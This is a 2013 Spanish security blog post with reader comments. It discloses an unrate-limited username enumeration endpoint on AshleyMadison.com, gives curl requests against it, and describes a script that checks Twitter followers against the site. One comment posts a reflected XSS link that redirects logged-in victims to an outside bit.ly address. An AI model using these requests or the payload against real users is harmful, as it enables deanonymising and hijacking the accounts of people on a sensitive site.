08 enero 2013

A vueltas con la privacidad de AshleyMadison.com

Para el que no lo sepa, Ashley Madison es una web de contactos que tiene como elemento diferenciador frente a la competencia que busca un perfil de gente infiel.

Es una web donde, en teoría, gente con relaciones sentimentales estables busca distracciones. Famosas y polémicas han sido varias campañas publicitarias de esta web involucrando a la Reina de España o políticos como Clinton.

Una de los puntos fuertes que publicitan es la 'máxima discreción', algo muy lógico tratándose de relaciones infieles ¿no?.

Tras leer una noticia donde hablaban de lo bien que les está yendo, me decidí a visitar la web (solo por curiosidad...)

Nada mas llegar, lo primero que hacen es tratar de que te registres -lógico-. Así que, casi sin querer, llegué al formulario de alta en el que, aparte de los típicos datos, también te piden que elijas un apodo. 

Si intentas elegir uno que ya esté registrado te avisan y te proponen alternativas:



En este punto pensé que sería muy divertido si esa consulta no estuviese protegida. Siendo un sitio al que se le presupone máximo rigor a la hora de fomentar la privacidad, no tiene mucho sentido que se pudiera interrogar por los usuarios de forma indiscriminada.

Viendo el tráfico que se generaba, llegué a esta llamada:

  http://www.ashleymadison.com/app/interface/userlookup.p?new=true&pinf_uio_app%252Fstructure%252Fpublic%252Findex_main__username_value=usuario

Utilizarlo es muy fácil, si hacemos una llamada con el comando curl tal que:

 curl 'http://www.ashleymadison.com/app/interface/userlookup.p?new=true&pinf_uio_app%252Fstructure%252Fpublic%252Findex_main__username_value=secbydefault'

Nos responde con un: "valid"

Por contra, si preguntamos por otro nick que si está registrado:

curl 'http://www.ashleymadison.com/app/interface/userlookup.p?new=true&pinf_uio_app%ublic%252Findex_main__username_value=sexm'

Nos responde con varias alernativas: ["sexm2013","sexm13","sexm1","sexm2","sexm3"]

Lo que deja en una misión bastante sencilla 'scriptear' todo esto para hacer consultas de forma automática.

Así que, tras hacerme un pequeño script para comprobar si existía alguna limitación: ¡¡ Sorpresa !! no la hay, tras miles de consultas seguía pudiendo preguntar y preguntar ...

Con ese descubrimiento en la mano, pensé en sacarle una utilidad práctica. 

Seguro que todos tenemos en twitter varias/os followers con la típica foto resultona, pero que o bien en esa misma foto aparece otra persona junto a ella, o bien nos ha obsequiado con interesantes tweets al estilo 'Cenando con mi xurri !!'

A bote pronto, situación idílica, pero ¿Y si no todo es tan perfecto?. Con esta premisa, amplié mi script inicial de fuerza bruta para que, en vez de leer de un fichero los usuarios, sacase toda la lista de mis followers y preguntase a Ashley Madison cuantos de ellos estaban registrados ahí. Evidentemente un nick registrado en AshleyMadison que tenga coincidencia en twitter no tiene por qué significar que sea la misma persona. Aun así, como mini-maldad, es divertido

El resultado es este pequeño script en Python:



Para ejecutarlo, tan solo python infieles.py UsuarioTwitter.

$ python infieles.py secbydefault

Solo un apunte: debido a las limitaciones del uso en el API de twitter, en cuentas con más de 10.000 followers probablemente no se pueda obtener el listado completo

Y tú, ¿Quieres saber cuantos de tus followers están disponibles para una infidelidad? ;)

13 comments :

FiX dijo...

Me ha resultado graciosa, muy bueno xDD

fossie dijo...

Dudo mucho que la gente que se registra en este tipo de páginas utilice su "nick" real pero cosas peores se han visto ;D

Curioso el script.

RodolfoGS dijo...

Jjajaja me encanta cuando haces estas cosas, muy bueno ^^

Yago Jesus dijo...

Muchas gracias, me alegra que te haya gustado

Yago Jesus dijo...

Nunca se sabe, hay gente muy confiada que por inercia repiten

Yago Jesus dijo...

¡¡ Muchas gracias !!

Kaliro dijo...

lol, divertido el script seria bueno que postearas o dijeses una forma de vitar esto :)

salu2

Román Ramírez dijo...

¿Oye @Yago estás totalmente seguro de que esto funciona? Porque me dice "valid" con patowc... oh wait!

☠ Dani Martinez ☠ dijo...

Echandole un ojo con @BBerastegui descubrió que si envias este link a algún logueado "http://www.ashleymadison.com/app/private/member/search/result.p?o=10&geoFilter=1">document.location='http://bit.ly/WKHln8';<a href="&loginStatus=0&ageFilter=18,39&quick=1" y clika le empezaran a gustar los azotes, no digo más, pero que no os peguen!!!

Borja Berástegui dijo...

Usando ese XSS se pueden hacer cosas divertidas, pero la limitación de no tener créditos me ha impedido comprobar algunas, como enviar mensajes a otros usuarios con el contenido que quiera el "señor malo".

Se aceptan donaciones de créditos de AshleyMadison.com :D

Siempre Makinando dijo...

¿ Y no se podría hacer algo parecido con el e-mail ? Eso sí que sería divertido...

theXXLMAN . dijo...

La mejor forma de evitar que no salgas en informaciones cruzadas es no repetir datos de ningún tipo. En este caso era el nick, pero el login id podría haber sido el email y eso daría mucho más juego.

Salu2 @TheXXLMAN

theXXLMAN . dijo...

PD:
Grandísimo @Yago Jesus